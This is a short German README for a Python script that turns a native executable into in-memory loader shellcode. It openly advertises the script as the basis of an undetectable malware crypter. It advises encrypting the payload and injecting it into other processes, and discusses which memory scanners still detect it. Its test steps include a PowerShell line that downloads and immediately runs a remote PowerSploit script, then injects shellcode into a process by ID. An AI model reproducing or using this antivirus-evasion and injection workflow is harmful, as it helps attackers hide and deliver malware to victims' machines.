Dieses Python script generiert einen Shellcode, der versucht eine angegebene native Exe im selben Prozess und selben Thread zu mappen und auszuführen.
Die auszuführende Datei wird ebenfalls in den Shellcode eingefügt.
Den Output kann man dann (am besten natürlich verschlüsselt) speichern und ganz einfach im eigenen Prozess (bspw mit CreateThread) ausführen oder einen fremden Prozess injecten, dabei natürlich jede denkbare Shellcode Execution / Process Injection Methode verwenden.
Konkret für einen Crypter müsste man sich also nur eine Storagemethode überlegen, und schon hat man le fud 1337 crypter, 40$ auf hackforums.
Nützt allerdings nichts gegen Memory Scanner wie bspw. der von ESET, sobald der Shellcode ausgeführt wird liegt die Datei offen im Speicher, und nach dem Mappen natürlich noch mal.
Außerdem failt das loaden auf 32bit Systemen wenn weder Host-Exe noch zu mappende Exe Relocations unterstützten, weil dann die Imagebase schon belegt ist.
Testen kann man es bspw. so:
> build_loadpe.py "C:\my\file.exe" out.bin > powershell > iex (iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/CodeExecution/Invoke-Shellcode.ps1) > $bytes = [System.IO.File]::ReadAllBytes('out.bin') > Invoke-Shellcode -Shellcode $bytes or > Invoke-Shellcode -Shellcode $bytes -ProcessId 3333 (injecting into remote process)